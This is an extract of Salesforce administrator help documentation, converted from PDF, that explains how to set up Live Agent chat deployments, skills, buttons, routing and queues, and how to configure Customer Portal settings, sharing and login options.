A deployment is a place on your company's website that's enabled for Live Agent. To enhance security and minimize the number of illegitimate chat requests you receive, use the permitted domains option when creating a deployment. This option lets you specify the domains that can host the deployment. When using permitted domains: List as many domains as youd like but only one per line. Use only the domain and subdomainfor example, xyz.domain.com, domain.com, or www.domain.com. Dont include http:// or mappings to specific pages within a domain, such as domain.com/page. Be sure to specify all the domains you want to allow to host the deployment. If you want to make the deployment usable on any domain, leave the Permitted Domains box empty.

See Also:
Live Agent Deployment Overview Creating Deployments

Skills Overview
Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

Skills identify the capabilities of agents, and are used to route requests to the right set of agents. For example, if your support center handles both technical and end-user issues, youd create separate Technical and End User skills, and assign agents

1737

Live Agent Setup

Creating Skills

accordingly. Then, when a query comes in that requires technical expertise, Salesforce routes the request to those agents in the Technical skill set only. You can assign skills to both profiles and individual users, and you can associate both users and profiles with multiple skills. For example, if your organization supports laptop, desktop, and tablet computers, you'd assign all three computer skills to agents qualified to provide support on each type of computer, while you'd assign just the desktop skill to agents only trained on desktop computers. During implementation planning, we recommend that you identify the skills that youll assign to agents. If your organizations agents can handle any chat request, then you need to create only one skill. However, its more likely that your agents are specialized, and youll need to create skills to make sure that they receive the appropriate requests.

See Also:
Chat Button Overview Setting Up Live Agent

Creating Skills
Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To create skills: Customize Application

To create a skill and assign it to users: 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Customize > Live Agent > Skills. Click New. Enter a name for the skill. In the Assign Users area, select the users you want to associate with the skill. In the Assign Profiles area, select the profiles you want to associate with the skill. Click Save.

1738

Live Agent Setup

Creating Deployments

Creating Deployments
Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To create deployments: Customize Application

If you plan to customize the Chat window (for example, brand the window with your company's logo), you need to upload images as static resources and then create one or more Force.com sites to host the images. Note that when you create a Force.com site for use with Live Agent, you need to provide only the following information: A site label and a site name A site contact The active site's home page A site template

To create a deployment: 1. 2. 3. 4. Click Your Name > Setup > Customize > Live Agent > Deployments. Click New. Enter a name for the deployment. This name, or a version of it, automatically becomes the Developer Name. Enter a title for the Chat window. This is the title that visitors see. 5. Select Allow Visitors to Save Transcripts to let visitors download a copy of the chat session when it ends. 6. Optionally, list the domains that can host the deployment. 7. Select the site that you'll associate with the deployment. Visitors see this URL in the Chat window. 8. In Chat Window Branding Image, select the graphic that will appear in the Chat window. 9. In Mobile Chat Window Branding Image, select the graphic that visitors using mobile devices will see in the Chat window. 10. Click Save. Salesforce generates the deployment code. 11. Copy the deployment code and paste it on each Web page where you want to deploy Live Agent. For best performance, paste the code right before the closing body tag (that is, </body>). Note: If youre using security zones in Internet Explorer 8 or 9, be sure your deployment and any website that hosts that deployment are in the same security zone. Due to an issue with Internet Explorer, its not possible to launch a chat window from a website thats in a different security zone. For more information on security zones, refer to Internet Explorer help.

1739

Live Agent Setup

Chat Button Overview

After creating deployments, you need to create the buttons that visitors click to initiate chat sessions, and then add that code to web pages as well. See Creating Chat Buttons.

See Also:
Live Agent Deployment Overview Using Permitted Domains with Live Agent Deployments Setting Up Live Agent Creating and Editing Force.com Sites

Chat Button Overview


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

You need to create the buttons that visitors click to start chats. Like a deployment, a button consists of several lines of JavaScript that you copy and paste into Web pages. A single deployment can have multiple buttons; each button lets you refine the chat experience for visitors. For example, your Service deployment could have different buttons for personal computer, laptop, or tablet issues. Each button is mapped to a different skill or set of skills to make sure that visitors inquiries only go to agents who have the ability to solve their problems. Creating a chat button typically involves these steps: 1. 2. 3. 4. Name the button. Associate it with one or more of the skills that you've assigned to agents. Choose a language for the chat window. You can select any of the languages fully supported by Salesforce. Choose how you want chats initiated through the button to be routed to agents. Optionally, if you choose a push routing option, specify how long agents have to answer incoming chat requests before theyre re-routed. 5. Optionally, enable queueing for chat requests initiated through the button and set a maximum queue length. 6. Choose an online and, optionally, an offline image for the button. Similarly to the branding images you add to deployments, you can upload the button images as static resources and then specify a Force.com site to host the images. Alternatively, you can specify online and offline button images or text by modifying the code that is generated when you create a button. 7. Optionally: a. Choose a custom chat page to use instead of the standard chat window. b. Choose the page or URL that hosts the pre-chat form for the button. c. Choose the page or URL that hosts the post-chat page for the button.

See Also:
Creating Chat Buttons Creating Skills Setting Up Live Agent

1740

Live Agent Setup

Creating Chat Buttons

Creating Chat Buttons


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To create and customize chat buttons: Customize Application

Before you create chat buttons, you need to: Create skills. Each chat button is associated with a particular skill or set of skills so that chats initiated from the button are routed to the right agents. Create a Force.com site if youll be using it to host the images for the online and offline versions of your button. If you dont have a Force.com site, you can specify online and offline button images or text by modifying the code thats generated when you create a button. Decide how you want chat requests that come in through the button to be routed to agents.

To create a button: 1. 2. 3. 4. 5. 6. 7. 8. Click Your Name > Setup > Customize > Live Agent > Chat Buttons. Click New. Type a name for the button. Select one or more skills to associate with the button by moving them from the Available Skills list to the Selected Skills list. Select a routing option for chats initiated through the button. Optionally, if you select the Least Active or Most Available routing option, specify how long agents have to answer incoming chat requests before theyre re-routed. Optionally, enable queueing for incoming chat requests, and specify the maximum number of requests that can be in the queue. Customize your chat button using one of these options: Option Use a Force.com site Prerequisites Create a Force.com site that has the following information: A site label and a site name A site contact The active site's home page A site template Steps a. In Site for Resources, select the site that hosts your chat button images. b. In Online Image, select the button image that visitors will see when agents with the associated skill are available to chat. c. In Offline Image, select the button image that visitors will see when no agents are available. d. Optionally, in Custom Chat Page, select the page you want to

1741

Live Agent Setup

Creating Chat Buttons

Option

Prerequisites

Steps use instead of the standard chat window. e. Click Save. Salesforce generates the button code.

Use custom code

Youll need access to a text or HTML a. Click Save. (You dont need to enter editor in order to change the button anything in the Chat Button code. You may want to have a developer Customization fields.) Salesforce do this customization. generates the button code. b. Copy and paste the Chat Button Code into a text or HTML editor. c. Replace the <!-- Online Chat Content --> and <!-- Offline Chat Content --> comments with code for the chat button images or text you want to use.

9. Optionally, choose the Visualforce page, or type the URL of the external Web page, that hosts the pre-chat form and post-chat page for the button. 10. Copy the button code and paste it on each Web page where you've deployed Live Agent. Make sure to paste the code in the area on the page where you want the button to appear. Tip: Remember to copy and paste the code each time you update the button, as the code changes with each modification.

See Also:
Chat Button Overview Live Agent Deployment Overview Creating Deployments Setting Up Live Agent

Live Agent Chat Routing Overview


Routing options in Live Agent let you specify how incoming chat requests should be directed to agents. Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

For each Live Agent chat button you create, you specify how you want chats initiated through that button routed to agents. Choose one of three routing options:

1742

Live Agent Setup

Creating Chat Buttons

Routing Option
Choice

Description Incoming chat requests are added to the queue in the Live Agent console and are available to any agent with the required skill. Incoming chats are routed to the agent with the required skill who has the fewest active chats. Incoming chats are routed to the agent with the required skill and the greatest difference between chat capacity and active chat sessions. For example, if Agents A and B each have a chat capacity of five, and Agent A has three active chat sessions while Agent B has only one, incoming chats will be routed to Agent B.

Least Active

Most Available

Least Active and Most Available are push options, which means that incoming chats are routed, or pushed, to agents. If you choose one of these options, you can also specify the amount of time an agent has to answer a chat request before its routed to the next available qualified agent.

See Also:
Creating Chat Buttons Live Agent Chat Queues Overview

Live Agent Chat Queues Overview


Queueing options in Live Agent let you specify how incoming chat requests are handled when there are no agents available. Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To create and customize chat buttons: Customize Application

For each Live Agent chat button you create, you can enable queueing to put incoming chat requests on hold if no agents with the required skills are available to accept them. You can also specify the maximum number of requests in a queue. Enabling queues and setting limits for them lets you control how incoming chat requests are handled and helps agents manage chat backlogs. With queueing enabled, your company can accept incoming chat requests even when agents are at capacity, and you can specify the maximum number of requests to accept. This helps agents work more effectively and limits the amount of time customers spend waiting to chat. The following table explains how chat queueing works with the various routing options.

1743

Live Agent Setup

Creating Chat Buttons

Queueing Option Queuing is not enabled

With This Routing Option Choice routing

Results Users see the online version of your chat button and can submit new requests unless there are no agents with the required skill logged in or all online agents have reached capacity. Incoming chat requests are added to the Chat Requests list in the console. When agents have capacity for new chat sessions, they can select incoming requests from the list. Users see the online version of your chat button and can submit new requests unless there are no agents with the required skill logged in or all online agents have reached capacity. Incoming chat requests are added to the Chat Requests list, which agents do not see. When agents have the capacity for new chat sessions, requests are routed to them. Users see the online version of your chat button and can submit new requests unless there are no agents with the required skill logged in. Incoming chat requests are added to the Chat Requests list in the console. When agents have capacity for new chat sessions, they can select incoming requests from the list. Users see the online version of your chat button and can submit new requests unless there are no agents with the required skill logged in. Incoming chat requests are added to the Chat Requests list, which agents do not see. When agents have the capacity for new chat sessions, requests are routed to them.

Queuing is not enabled

Least Active or Most Available routing

Queueing is enabled without a per-agent Choice routing or overall limit

Queueing is enabled without a per-agent Least Active or Most Available routing or overall limit

1744

Live Agent Setup

Creating Chat Buttons

Queueing Option

With This Routing Option

Results Users see the online version of your chat button and can submit new requests unless there are no agents with the required skill logged in, or until the queue limit is reached. They then see the offline version of the button until older chat sessions have ended. Incoming chat requests are added to the queue until the per-agent or overall limit is reached, at which point no new requests are accepted until older chat sessions have ended. When agents have capacity for new chat sessions, they can select incoming requests from the list. Users see the online version of your chat button and can submit new requests unless there are no agents with the required skill logged in, or until the queue limit is reached. They then see the offline version of the button until older chat sessions have ended. Incoming chat requests are added to the queue until the per-agent or overall limit is reached, at which point no new requests are accepted until older chat sessions have ended. When agents have the capacity for new chat sessions, requests are routed to them.

Queueing is enabled with a per-agent or Choice routing overall limit defined

Queueing is enabled with a per-agent or Least Active or Most Available routing overall limit defined

1745

Live Agent Setup

Pre-Chat Forms and Post-Chat Pages

Pre-Chat Forms and Post-Chat Pages


Creating pre-chat forms and post-chat pages in Live Agent makes it easy to exchange information with customers who contact your company through chat. Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

Pre-chat forms and post-chat pages offer a standardized way of collecting information from customers who contact your company through chat and then sharing information with them after their chat sessions are finished. In addition, these forms and pages let you customize the chat experience for your users. You can create a pre-chat form to gather information, such as a customers name, email address, and reason for contacting customer support. This information can help direct chat requests more efficiently and can reduce the amount of time agents need to spend collecting information before beginning a chat session. Post-chat pages let you share information, such as chat transcripts, with customers at the end of a chat session. You can also customize the post-chat experience in other ways, such as offering options for follow-up support and asking customers to complete a survey. For information on creating customized pre-chat forms and post-chat pages, see the Live Agent Developers Guide.

Setting Up Live Chat Transcripts


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To set up Live Chat Transcripts: Customize Application

The Live Chat Transcripts tab contains the transcripts of completed chat sessions. Depending on your organization's requirements, you may want to customize the Live Chat Transcripts tab to display or hide standard fields, manage security, add custom fields, add buttons or links, or more. To set up the tab: 1. Customize Live Chat Transcript fields. This lets users add additional information to Live Chat Transcript records. 2. Customize Live Chat Transcript page layouts. This lets you specify which fields display to users. 3. Set field-level security on Live Chat Transcript fields. This lets you choose which fields users can access. 4. Add the Live Chat Transcript tab to an app This lets users view the tab from a specific app.

1746

Live Agent Setup

Setting Up Live Chat Visitors

5. Optionally, set up validation rules to prevent users from saving incorrect data.

See Also:
Setting Up Live Agent

Setting Up Live Chat Visitors


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To set up Live Chat Visitors: Customize Application

The Live Chat Visitor tab contains information about visitors that have participated in chat sessions. Depending on your organization's requirements, you may want to customize the Live Chat Visitor tab to display or hide standard fields, manage security, add custom fields, add buttons or links, or more. To set up the tab: 1. Customize Live Chat Visitor fields. This lets users add additional information to Live Chat Visitor records. 2. Customize Live Chat Visitor page layouts. This lets you specify which fields display to users. 3. Set field-level security on Live Chat Visitor fields. This lets you choose which fields users can access. 4. Add the Live Chat Visitor tab to an app This lets users view the tab from a specific app. 5. Optionally, set up validation rules to prevent users from saving incorrect data.

See Also:
Setting Up Live Agent

1747

Live Agent Setup

Setting Up the Knowledge Chatlet and the Articles Tool

Setting Up the Knowledge Chatlet and the Articles Tool


Describes the steps for setting up the Knowledge chatlet and the Articles tool to let agents search for articles from the Live Agent console or from Live Agent in the Service Cloud console. Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To set up the Live Agent Knowledge chatlet or Articles tool: Customize Application AND Manage Salesforce Knowledge

To give support agents the ability to include information from Salesforce Knowledge articles in chat sessions using the Knowledge chatlet or the Articles tool, you need to add a custom field called "Chat Answer" to article types. This field stores information from the article that's appropriate to share with customers during a live chat. This can be especially helpful for articles that are too long for an agent to include easily in a response. Create the custom field as a Text, Text Area, or Text Area (Long). The Rich Text Field option is not supported. Remember that you need to add this custom field to each article type containing information that you want operators to access from the Knowledge chatlet. To set up the Chat Answer field: 1. 2. 3. 4. Click Your Name > Setup > Customize > Knowledge > Article Types. Create a new article type or edit an existing one. Click New in the Fields related list. Select Text, Text Area, or Text Area (Long). Don't select Text Area (Rich). 5. Click Next. 6. Enter Chat Answer in Field Label. Make sure that Field Name is populated automatically with Chat_Answer. The field name must be Chat_Answer. However, you can use a different name for the Field Label. 7. Click Next. 8. Specify security settings and click Next. Make the Chat Answer field visible to authors, editors, and live chat agents. Hide it from portal users or other users who don't need access to it. 9. Select Yes, add this custom field to the layout, and click Save.

See Also:
Setting Up Live Agent

1748

Live Agent Setup

Adding Live Agent to the Service Cloud Console

Adding Live Agent to the Service Cloud Console


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To add Live Agent to the Service Cloud console: Customize Application

After you set up Live Agent, you can use the steps below to add it to an existing Service Cloud console app. To create a new app that includes Live Agent, see Creating a Service Cloud Console App. 1. 2. 3. 4. 5. Click Your Name > Setup > Create > Apps. Click Edit next to the name of the Service Cloud console app in which you want to set up Live Agent. Select Include Live Agent in this App. Choose the records or pages you want to open as subtabs of chat sessions in the chat workspace. Optionally, if your organization has Salesforce Knowledge enabled, select Include Suggested Articles from Salesforce Knowledge in Live Agent to display the articles tool in the chat workspace. 6. Click Save. Note: For best performance, we recommend using Internet Explorer 8, 9, or 10 or the latest stable version of Firefox or Google Chrome when using Live Agent in the Service Cloud console. Switching to another Salesforce application in another browser window or tab while using Live Agent in the Service Cloud console can cause problems with accepting chats.

See Also:
Setting Up Live Agent Service Cloud Console Overview

Setting Live Agent Supervisor Tab Visibility through Profiles


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To set Live Agent Supervisor tab visibility: Manage Users

You can give Live Agent users access to the Supervisor tab through either profiles or permission sets.

1749

Live Agent Setup

Setting Live Agent Supervisor Tab Visibility through Permission Sets

To use a profile: 1. Click Your Name > Setup > Manage Users > Profiles. 2. Select a support agent profile. 3. Depending on which user interface you're using, do one of the following: Enhanced profile user interfaceIn the Find Settings... box, enter the name of the tab you want and select it from the list, then click Edit. Original profile user interfaceClick Edit, then scroll to the Tab Settings section.

4. Set the visibility of the Live Agent Supervisor tab to Default On. 5. (Original profile user interface only) To reset users tab customizations to the tab visibility settings that you specify, select Overwrite users' personal tab customizations. 6. Click Save. Alternatively, you can give users access to the Live Agent Supervisor tab through permission sets.

Setting Live Agent Supervisor Tab Visibility through Permission Sets


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To set Live Agent Supervisor tab visibility: Manage Users

You can give Live Agent users access to the Supervisor tab through either profiles or permission sets. To use a permission set: 1. 2. 3. 4. 5. 6. 7. Click Your Name > Setup > Manage Users > Permission Sets. Click the name of a permission set or create a new permission set. Click Object Settings. Click Live Agent Supervisor. Click Edit. In Tab Settings, select Available and Visible. Click Save.

Alternatively, you can give users access to the Live Agent Supervisor tab through profiles.

1750

Customer Portal

Setting Up Your Customer Portal

CUSTOMER PORTAL
Setting Up Your Customer Portal
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up and update the Customer Portal: Customize Application

A Salesforce Customer Portal provides an online support channel for your customersallowing them to resolve their inquiries without contacting a customer service representative. With a Customer Portal, you can customize and deliver a visually stunning user interface to your customers, and use the following Salesforce features to help you and your customers succeed: Determine which pages and fields customers see with page layouts and field-level security Manage customers with profiles, permission sets, roles, and sharing rules Provide and organize documents via Salesforce CRM Content or the Documents tab Create a knowledge base for your customers using Salesforce Knowledge Allow customers to participate in Ideas communities. Display and collect data that is unique to your organization with custom objects Display custom s-controls and content from other websites via Web tabs Provide customized reports via the Reports tab Note: The Service Cloud Portal is the Customer Portal intended for many thousands to millions of users. Service Cloud portal users are also referred to as high-volume portal users. See About High-Volume Portal Users (Service Cloud Portal Users) on page 1789. Setting up your Customer Portal consists of the following steps: 1. Enable the Customer Portal. 2. Create one or more portals. For each portal: a. Configure the settings and communication templates. You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. For more information, see Creating Multiple Customer Portals on page 1754. The Convert Portal User Access wizard automatically displays after the first time you save settings for your first portal, whether it is the Customer Portal or partner portal. You can use this wizard to help ensure that records and folders owned by Salesforce users are not shared with portal users. b. Customize the fonts and colors.

1751

Customer Portal

Setting Up Your Customer Portal

c. Customize the available tabs and tab order. d. Configure portal languages. 3. Optionally, if available to your portal user licenses, you can enable Salesforce CRM Content, Ideas, Answers, Entitlement Management or Salesforce Knowledge as needed. 4. Create Customer Portal profiles. For each profile: a. Customize page layouts. See Customizing Your Customer Portal Pages. For set up tips and general information about Salesforce Customer Portal pages, see Setup Tips and Considerations for Customer Portal Pages on page 1771. b. Customize list views. See Creating Custom List Views on page 270. Customer Portal users can automatically see any list view with visibility settings marked Visible to all users. We recommend that you create specific list views on all objects accessible to portal users, and then assign portal users to only the list views you want them to view. c. Customize search layouts. See Customizing Search Layouts on page 1338. The search layouts in your Salesforce organization are the same search layouts used in your Customer Portal. Verify that search layouts on objects accessible to portal users only include fields you want them to view in search results. 5. Set up workflow: a. Set up workflow rules or case assignment rules to automatically assign cases created by portal users to Salesforce users or queues by using the criteria Current User: User Type contains Customer Portal. For more information, see Setting Up Assignment Rules on page 1341 and Managing Workflow Rules on page 1867. For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles. Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case is created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users, add a rule entry using the criteria Current User: User Type contains Customer Portal and select the Do Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 1341. b. Create workflow alerts or case auto-response rules to automatically respond to portal users when they create a case on your portal. To help you determine whether to use workflow alerts or auto-response rules, see Differences Between Auto-Response Rules and Workflow Alerts on page 1350. 6. Configure portal user access. 7. Grant high-volume portal users access to objects. 8. Optionally, enable single sign-on. 9. Enable login on each Customer Portal. 10. Add a link on your organization's website to the portal. Users can navigate to your Customer Portal after you copy the Login URL from your portal's settings and paste it into the HTML of your website. For more information, see Enabling Customer Portal Login and Settings on page 1758. 11. Enable contacts to use your portal. To learn more about implementing a Customer Portal, see Preparation for Setting Up Your Portal on page 1434.

1752

Customer Portal

Setting Up Your Customer Portal

Note: Contact salesforce.com about activating a Customer Portal for your organization.

See Also:
Customer Portal Setup Limits Administrator setup guide: Salesforce Customer Portal Implementation Guide Creating Multiple Customer Portals Enabling Single Sign-On for Portals

Enabling Your Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable the Customer Portal: Customize Application

To enable the Salesforce Customer Portal: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Customer Portal > Settings. Click Edit. Select Enable Customer Portal. Click Save. Continue setting up the portal.

Tips on Enabling the Customer Portal Consider the following when enabling the Customer Portal: After you enable the Customer Portal, you can create multiple Customer Portals to satisfy the various business needs of your customers. These items become available after you enable the Customer Portal: The High Volume Customer Portal, Authenticated Website, Customer Portal Manager, and Customer Portal User profiles, if you purchased user licenses for them. The Enable Customer Portal User and View Customer Portal User buttons on contact and person account records. The All Customer Portal Users and All Internal Users groups along with the Roles and Internal Subordinates sharing rule category.

1753

Customer Portal

Setting Up Your Customer Portal

After you enable a Customer Portal, you cannot disable it. However, you can prevent users from logging into it. See Enabling Customer Portal Login and Settings on page 1758.

See Also:
Setting Up Your Customer Portal Enabling Salesforce CRM Content in the Customer Portal About Customer Portal User Management Enabling the Customer Portal for Contacts and Person Accounts

Creating Multiple Customer Portals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create multiple Customer Portals: Customize Application

After you have enabled the Salesforce Customer Portal, you can create multiple Customer Portals to satisfy the various business needs of your customers. To create more than one Customer Portal: 1. Click Your Name > Setup > Customize > Customer Portal > Settings. 2. Click New. 3. Follow the same steps used to set up your organization's first Customer Portal. See Setting Up Your Customer Portal on page 1751. Note: Contact salesforce.com for information about the number of Customer Portals you can activate for your organization. Before you begin creating multiple Customer Portals for your organization, review the following implementation tips and best practices. Implementation Tips Portal users can only log into Customer Portals assigned to their profile. To assign a profile to a Customer Portal, select the name of a portal from the Customer Portal Setup page, click Edit Profiles in the Assigned Profiles section, and select the Active checkbox next to the profile you want to assign to the portal. A portal user can access all the Customer Portals assigned to his or her profile with one username and password. You can view the number of active users associated with each profile assigned to a Customer Portal by creating a custom summary report and adding Profile to your report columns. See Administrative Reports on page 3110. The login URL of each Customer Portal you create contains a unique identifier, such as portalId=060D00000000Q1F. The unique identifier determines the specific portal a user can access. If a user accesses a login URL that does not contain a unique identifier, they are automatically directed to the login URL of the first Customer Portal you created. Note that portal users can only log into a Customer Portal via the portal's login page and not through the Salesforce login page.

1754

Customer Portal

Setting Up Your Customer Portal

The settings on the following items apply to both your organization and your Customer Portals: List views Search layouts Case assignment rules Workflow alerts

Best Practices Because you can uniquely customize the fonts, colors, email templates, and login message of each Customer Portal you create, you can build a Customer Portal for each product and customer service level supported by your organization. For example, if your organization provides gold, silver, and bronze levels of customer support, then you could create a unique Customer Portal for each. Note: JavaScript and CSS code are automatically removed from HTML files used as the portal login message.

You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. These settings determine the email templates to use when sending email notifications, such as a new case comment or a reset password, to portal users whose profiles are associated with more than one Customer Portal. By default, sample templates are automatically selected for you in the New User Template, New Password Template, and Lost Password Template lookup fields. However, sample templates are not selected for you in the New Comment Template and Change Owner to Portal User Template lookup fields. Unless you select templates for these fields, users whose profiles are associated with more than one Customer Portal will not receive email notifications when new comments are added to their cases or when they become the new owner of a record in the Customer Portal. To create templates or modify the samples, see Managing Email Templates on page 474. Email templates must be marked as Available for Use to be sent to portal users. Tip: Because the default email templates are sent to users of multiple Customer Portals, we recommend that you create default email templates that do not contain portal-specific branding.

You cannot delete a Customer Portal, but you can prevent users from logging into a portal by deselecting the Login Enabled checkbox. For more information, see Enabling Customer Portal Login and Settings on page 1758. You can create multiple Customer Portals that display different tabs for users with the same profile, as long as the profile has access to each object displayed on a tab. For more information, see Viewing and Editing Tab Settings in Permission Sets and Profiles on page 573 and Customizing Your Customer Portal Tabs on page 1768.

See Also:
Setting Up Your Customer Portal About Customer Portal User Management Customizing Your Customer Portal Tabs Administrator setup guide: Salesforce Customer Portal Implementation Guide

1755

Customer Portal

Setting Up Your Customer Portal

About the Convert Portal User Access Wizard


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set sharing rules: Manage Users

Because Customer Portal and partner portal users appear in the role hierarchy but are external contacts who should not have access to your organization's internal data, you must configure your organization's sharing settings to prevent inappropriate access by portal users. When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard to help ensure that no records or folders are shared with a portal user. The wizard affects the following: Sharing Rules The Convert Portal User Access wizard converts any sharing rules that include the Roles, Internal and Portal Subordinates data set category to include the Roles and Internal Subordinates data set category instead. The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a specified role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles. Only organization-wide sharing rules are updated when you convert Roles, Internal and Portal Subordinates to Roles and Internal Subordinates. The Roles, Internal and Portal Subordinates category for queues, public groups, list views, documents, and manual sharing created on specific records by clicking the Sharing button is not converted to Roles and Internal Subordinates. Note: The Roles, Internal and Portal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy. The Roles and Internal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy and enable a portal.

Folder Sharing The Convert Portal User Access wizard also enables you to automatically convert the access levels of any report, dashboard, or document folders that are accessible to Roles, Internal and Portal Subordinates to a more restrictive access level: Roles and Internal Subordinates. This helps prevent Customer Portal and partner portal users from accessing folders. Using the wizard is more efficient than locating various folders in Salesforce and setting their access levels individually. The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually update the access levels on those folders.

1756

Customer Portal

Setting Up Your Customer Portal

When you first save a Customer Portal or partner portal, Salesforce automatically displays the Convert Portal User Access wizard.

See Also:
Using the Convert Portal User Access Wizard Configuring User Access to the Customer Portal Enabling Your Customer Portal Enabling the Partner Portal Using the Convert Portal User Access Wizard Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set sharing rules: Manage Users

When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard to help ensure that no records or folders are shared with a portal user. To use the wizard: 1. For the Customer Portal, click Your Name > Setup > Customize > Customer Portal > Settings. For the partner portal, click Your Name > Setup > Customize > Partners > Settings. 2. Click the Convert Portal User Access link. 3. Select the checkboxes next to the sharing rules you want to convert to Roles and Internal Subordinates. If there are no sharing rules to convert but you want to convert the access level for folders, proceed to the following step. 4. Click Next. 5. Select the checkboxes next to the folders whose access levels you want to change to Roles and Internal Subordinates. The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually update the access levels on those folders. A particular folder may display on multiple rows in the wizard. This is because the wizard displays a row for each Role, Internal and Portal Subordinates category to which a folder is shared. 6. Click Next. 7. Click Save to apply your selected changes.

See Also:
About the Convert Portal User Access Wizard

1757

Customer Portal

Setting Up Your Customer Portal

Enabling Customer Portal Login and Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable login and settings for the Customer Portal: Customize Application

1. Click Your Name > Setup > Customize > Customer Portal > Settings. 2. Click Edit next to the name of the Salesforce Customer Portal you want to customize. 3. Set the following options: Setting
Name

Description Name of the Customer Portal as displayed on the portal's detail and edit pages, as well as the Customer Portal Setup page. The name of the Customer Portal is not displayed on portal pages, but it does display in the browser title bar. The name of your portal must be unique for your organization and not already in use by a Customer Portal or partner portal. Furthermore, an error may occur if you name a Customer Portal partner portal or vice versa.

Description

A description of the Customer Portal as displayed on the portal's detail and edit pages. The description of the Customer Portal is not displayed in the portal. Allows users to log in to the Customer Portal. We recommend that you do not select this checkbox until you have completed the steps described in Setting Up Your Customer Portal.

Login Enabled

Administrator

Click the lookup icon ( ) to choose a default administrator for your Customer Portal. All email notifications regarding users who self-register for your Customer Portal will be sent to this Salesforce user. Notifications include information about registration errors and any other issues self-registering customers may experience, such as inadvertently entering duplicate email addresses, creating duplicate contact records, and exceeding your organization's user license limit. When choosing an administrator for your Customer Portal, you can only select users that have the Edit Self-Service Users permission. Furthermore, you cannot deactivate a

1758

Customer Portal

Setting Up Your Customer Portal

Setting

Description user selected as a portal administrator. For more information, see Deactivating Users on page 514.

Portal Default Settings Setting


Login URL

Description The URL of the Web page that displays when users log in to your Customer Portal. You can click this URL to log in to your portal and interact with it. Insert this URL into your website so users can access the login page to your Customer Portal. The login URL of each Customer Portal you create contains a unique identifier, such as portalId=060D00000000Q1F. The unique identifier determines the specific portal a user can access. If a user accesses a login URL that does not contain a unique identifier, they are automatically directed to the login URL of the first Customer Portal you created. Note that portal users can only log into a Customer Portal via the portal's login page and not through the Salesforce login page.

Logout URL

The URL of the Web page that displays when users log out of the Customer Portalfor example, http://www.acme.com. If a logout URL is not specified, portal users return to the login page when they log out. The top-level category accessible by customers in the Customer Portal. Customers can view all solutions marked Visible in Self-Service Portal in this category and its subcategories. This field is available only if you have enabled solution browsing. See Customizing Solution Settings on page 1432.

Top-Level Category for Portal

Enable Self-Close Case from Suggested Solutions

Allows users to close cases in the Customer Portal directly from suggested solutions. For example, when a user views a suggested solution that helps them solve a case, he or she can click Yes, please close my case if this setting is enabled. For more information about suggested solutions, see What are Suggested Solutions? on page 3435.

Show Action Confirmation

Allows users to view confirmation messages after they complete an action in the Customer Portal. For example, after a user creates a case in your Customer Portal, he or she

1759

Customer Portal

Setting Up Your Customer Portal

Portal Default Settings Setting Description views the message Case has been submitted if this setting has been enabled. Confirmation messages may help users clearly understand actions they have completed in your Customer Portal.
HTML Messages Default Language

Specifies the language that portal HTML messages are displayed in when custom language portal HTML messages are not configured. This setting is only available for organizations that have multiple languages enabled.

Email Notification Settings Setting


From Email Address

Description The email address from which all Customer Portal communication templates are sentfor example, support@acme.com. Salesforce sends the emails automatically, but they appear to portal users as if they were sent from this email address. If a portal user responds to a communication template, the response is sent to this address. The name associated with the From Email Addressfor example, Acme Customer Support. The email template used to send a username and initial password to all newly enabled and self-registering Customer Portal users. By default, a sample template is automatically selected for you. To create your own template or modify the sample, see Managing Email Templates on page 474. This template must be marked as Available for Use. The email template used to send a new password to existing Customer Portal users when you reset their passwords. By default, a sample template is automatically selected for you. To create your own template or modify the sample, see Managing Email Templates on page 474. This template must be marked as Available for Use. The email template used to send a new password to existing Customer Portal users when they reset their own passwords by clicking Forgot your password? on the login page of the Customer Portal. By default, a sample template is automatically selected for you. To create your own template or modify the sample, see Managing Email Templates on page 474. This template must be marked as Available for Use.

From Email Name

New User Template

New Password Template

Lost Password Template

1760

Customer Portal

Setting Up Your Customer Portal
